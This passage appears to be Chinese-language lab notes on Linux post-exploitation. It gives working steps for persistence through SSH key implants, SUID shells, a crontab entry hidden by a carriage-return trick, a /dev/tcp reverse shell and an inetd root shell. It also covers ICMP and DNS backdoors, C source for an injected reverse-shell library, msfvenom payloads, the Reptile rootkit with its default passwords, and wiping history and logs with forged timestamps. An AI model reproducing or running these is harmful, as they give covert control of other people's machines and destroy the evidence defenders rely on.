ssh-keygen -t rsa

目标机器下载公钥

wget http://192.168.30.169/.ssh/id_rsa1.pub

添加公钥内容

cat id_rsa1.pub >> /root/.ssh/authorized_keys

赋予权限

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

攻击机连接1765781522554.png

SUID

普通用户登录提权到root

cp /bin/sh /tmp/.sb
chmod +s /tmp/.sb
/tmp/.sb -p

1765782319841.png

cron

与vim有suid修改/etc/crontab差不多,只不过有root权限,命令会简单很多

每分钟执行一次

echo "*  *    * * *   root chmod +s /bin/bash" >> /etc/crontab
echo "bash -i >& /dev/tcp/192.168.30.169/8881 0>&1" > /root/t.sh
(printf "*  *   * * * /bin/bash /root/t.sh;\rno crontab for `whoami`%100c\n")|crontab -

1765805778455.png

监听

nc -lvvp 8881

1765805655683.png

intetd
apt-get install openbsd-inetd
echo "daytime stream tcp nowait root /bin/bash bash -i" > /tmp/t0;vim -Es -c '$r /tmp/t0' -c 'wq!' /etc/inetd.conf;rm /tmp/t0
#启动inetd
sudo inetd
daytime stream tcp nowait root /bin/bash bash -i

#daytime -服务
#stream tcp -tcp流
#nowait -不等待,给每个连接启动新进程
#root -以root身份运行
#/bin/bash -执行的程序路径
#bash -i -程序执行的命令,提供交互式shell

nc连接1765875992690.png

daytime可以替换成任何服务或者端口

sed -i 's/daytime/13453/g' /etc/inetd.conf
sudo inetd

1765890632231.png

在/etc/services里添加服务

echo "wsdy 5678/tcp" >> /etc/services
sed -i 's/13453/wsdy/g' /etc/inetd.conf
sudo inetd

1765892022964.png

ICMP
git clone https://github.com/andreafabrizi/prism.git
apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c
chmod +x prism

目标运行

sudo ./prism

攻击机运行

./sendPacket.py 192.168.30.172 p4ssw0rd 192.168.30.169 7891 #如果不兼容,则在docker运行
nc -lvvp 7891

1765932670795.png

DNS

dnscat2

服务端

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
gem install bundler
bundle install

客户端

cd dnscat2/client/
make

服务端启动

ruby dnscat2.rb --no-cache --secret=12345

客户端连接

./dnscat --dns server=192.168.30.169,port=53 --secret=12345

1765958447985.png

进程注入

下载

git clone https://github.com/gaffe23/linux-inject.git
#编译
make

如果编译缺少库,docker安装完整的开发工具链

apt-get update
apt-get install build-essential
apt-get install libc6-dev
apt-get install gcc-multilib

这里让AI简单写了一个脚本

// reverse.c
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdlib.h>

// 移除有问题的hide_process函数,专注于核心功能

// 反向shell主函数
static void reverse_shell() {
    int sockfd;
    struct sockaddr_in attacker_addr;
    
    // 设置攻击者IP和端口(修改为你的实际IP)
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(4444);  // 攻击者监听端口
    attacker_addr.sin_addr.s_addr = inet_addr("127.0.0.1");  // 先用本地测试,成功后改为你的IP
    
    // 创建socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("socket创建失败");
        return;
    }
    
    // 尝试连接
    printf("[*] 尝试连接到攻击者...\n");
    if (connect(sockfd, (struct sockaddr*)&attacker_addr, sizeof(attacker_addr)) < 0) {
        perror("连接失败");
        close(sockfd);
        return;
    }
    
    printf("[+] 连接成功!\n");
    
    // 重定向标准输入输出错误到socket
    dup2(sockfd, 0);  // stdin
    dup2(sockfd, 1);  // stdout  
    dup2(sockfd, 2);  // stderr
    
    // 执行shell
    char *shell = "/bin/sh";
    char *args[] = {shell, "-i", NULL};
    execve(shell, args, NULL);
    
    // 如果execve失败
    perror("execve失败");
    close(sockfd);
}

// 库加载时自动执行
__attribute__((constructor)) void backdoor_entry() {
    printf("[*] 后门已加载,PID: %d\n", getpid());
    
    // 创建子进程执行反向shell
    pid_t pid = fork();
    
    if (pid == 0) {
        // 子进程
        reverse_shell();
        exit(0);  // 如果reverse_shell返回,则退出子进程
    } else if (pid > 0) {
        // 父进程继续正常执行
        printf("[*] 创建子进程PID: %d执行反向shell\n", pid);
    } else {
        perror("fork失败");
    }
}
gcc -shared -fPIC -o reverse.so reverse.c -nostartfiles

创建一个进程并注入

sleep 3600
#开启另一个会话
pgrep sleep 
#或 ps aux | sleep
./inject -p 24320 ./reverse.so

1765979780784.png

Vegile

生成

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.30.169 LPORT=4449 -b "\x00" -e x64/xor -i 3 -f elf -o backdoor.elf

上传并添加权限

chmod +x backdoor.elf

监听

msfconsole -qx 'use exploit/multi/handler;set payload linux/x64/shell/reverse_tcp;set LHOST 192.168.30.169;set LPORT 4449;run'
apt install gcc
git clone https://github.com/screetsec/Vegile.git
chmod +x Vegile
./Vegile --i backdoor.elf

chmod +x /usr/bin/screetsec /usr/bin/debug /usr/bin/tracker /usr/bin/supervisited /usr/bin/rma
./Vegile --u backdoor.elf

1766069847712.png

Reptile

环境

apt install -y gcc g++ make vim unzip
apt-get -y install linux-headers-$(uname -r)

服务端

./setup.sh install
#安装过程会有如下选项:
#Hide name (will be used to hide dirs/files) (default: reptile): 会被隐藏的文件或文件名

#Auth token to magic packets (default: hax0r):连接后门时的认证

#tokenBackdoor password (default: s3cr3t):后门密码

#Tag name that hide file contents (default: reptile):标签名,在该标签中的内容都会被隐藏

#Source port of magic packets (default: 666): 源端口默认

#Would you like to config reverse shell each X time? (y/n) (default: n): 是否每隔一段时间弹 shell (如果选择了n,就直接进行安装,不会显示下面的选项)

#Reverse IP : 控制端ip

#Reverse Port: 控制端端口

#would you like to config reverse shell each x time(default:1800) :每隔x时间回连一次

1766194599499.png

Token: hax0r
Backdoor password: s3cr3t
SRC port: 666

如果忘记了设置定时任务

/reptile/reptile_reverse -t 192.168.30.169 -p 8883 -s root -r 1800

客户端(控制端)

 ./setup.sh client

1766160615491.png

cd bin
./client

1766161162621.png

show
#LHOST                                   Local host to receive the shell
#LPORT                                   Local port to receive the shell
#SRCHOST                                 Source host on magic packets (spoof)
#SRCPORT                                 Source port on magic packets (only for TCP/UDP)
#RHOST                                   Remote host
#RPORT                                   Remote port (only for TCP/UDP)
#PROT                                    Protocol to send magic packet (ICMP/TCP/UDP)
#PASS                                    Backdoor password (optional)
#TOKEN                                   Token to trigger the shell
#为空的选项都要设置
set lhost 192.168.30.169
set lport 8883
set rhost 192.168.30.172
set rport 8883
set pass s3cr3t
set token hax0r
set srchost 192.168.30.169
set srcport 666
set prot tcp
run

1766198205471.png

痕迹清除

历史命令清除

登陆后不记录历史命令

HISTFILE=/dev/null HISTSIZE=0 HISTFILESIZE=0; set +o history; history -c

在登录和退出时查看时间

date

1766223330633.png

日志历史记录

cat -n /root/.bash_history

#删除第101行以及之后的命令
sed -i '101,$d' /root/.bash_history
#其他用户同理
系统日志
ls -la /var/log
/var/log/btmp   记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp    记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp    记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure   记录与安全相关的日志信息
/var/log/message  记录系统启动后的信息和错误日志
#删除包含192.168.30.169的行
cd /var/log
sed -i '/192\.168\.30\.169/d' auth.log* *tmp syslog* lastlog /run/utmp apache2/access.log
touch -d  "2025-12-10 06:24:39.067830158" *tmp syslog* lastlog auth.log* /run/utmp /var/log/apache2/access.log

#删除特定时间段的行 Dec 20 04:34:43 ~ Dec 20 04:59:54
sed -i '/^Dec 20 04:34:43/,/^Dec 20 04:59:54/d' auth.log*
隐藏远程SSH登录记录

连接目标时

#不记录ssh公钥在本地.ssh目录中
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o "GlobalKnownHostsFile=/dev/null" -T user@host "exec -a [kworker/u:0] bash -i"

参考

信息收集、横向移动、权限维持

CACM

痕迹清除